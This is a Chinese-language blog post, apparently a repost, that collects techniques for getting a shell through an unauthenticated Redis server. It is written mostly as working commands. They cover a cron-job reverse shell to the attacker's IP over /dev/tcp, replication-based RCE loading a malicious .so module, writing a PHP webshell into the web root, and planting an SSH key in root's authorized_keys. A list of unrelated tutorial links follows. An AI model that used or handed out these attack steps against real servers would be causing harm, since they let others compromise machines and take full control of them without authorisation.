Redis getshell姿势总结
时间:2020-05-19
本文章向大家介绍Redis getshell姿势总结,主要包括Redis getshell姿势总结使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
一、crontab-计划任务
首先现在自己服务器上监听个端口,例如我这里的8888
nc -lvvp 8888
然后redis上:
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set xx "\n* * * * * bash -i >& /dev/tcp/这里写你的服务器IP/8888 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
然后稍等一会儿,就反弹到shell了,PS:需要等那么一会儿,才会反弹回来,不然也可以先打,然后在监听,因为毕竟计划任务需要一点时间。
二、利用主从复制RCE
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
git clone https://github.com/Ridter/redis-rce.git
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
so文件是通过RedisModules make生成的。
三、写入webshell
CONFIG SET dir /path/www/html # 修改备份目录
CONGIG SET dbfilename trojan.php # 修改备份文件名为我们的shell名
SET trojan "<?php system($_GET['cmd']);?>"
BGSAVE
DEL payload
CONFIG SET dir /usr/local/redis
CONGIG SET dbfilename dump.rdb
#最好使用CONFIG GET 看看原来啥样就回复成啥样
四、写ssh-keygen公钥然后使用私钥登录
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
利用条件:
a.Redis服务使用ROOT账号启动
b.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
操作流程:
Step 1:首先在本地生成一对密钥:
Copy
root@kali:~/.ssh# ssh-keygen -t rsa#注意看哈,生成的目录。
查看密钥:
然后在redis执行命令
192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x " AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx"
OK
192.168.63.130:6379> save
OK
之后直接使用公钥登录即可
原文地址:https://www.cnblogs.com/nul1/p/12915304.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 7.01-beautiful_soup
- mysql导入导出数据
- 7.01-beautiful_soup2
- 7.01-beautiful_soup3
- CentOS7上安装 JDK8 Hadoop Hive
- 7.02-bs4_btc
- [已解决]报错:UnicodeEncodeError: 'latin-1' codec can't encode characters in position 80-81
- 8.02-json_use
- Scrapy问题
- 8.03-json_to_csv
- Docker笔记
- 8.04-book
- 11.redis_python
- Vim编辑器的自动缩进设定
- 14.msql_python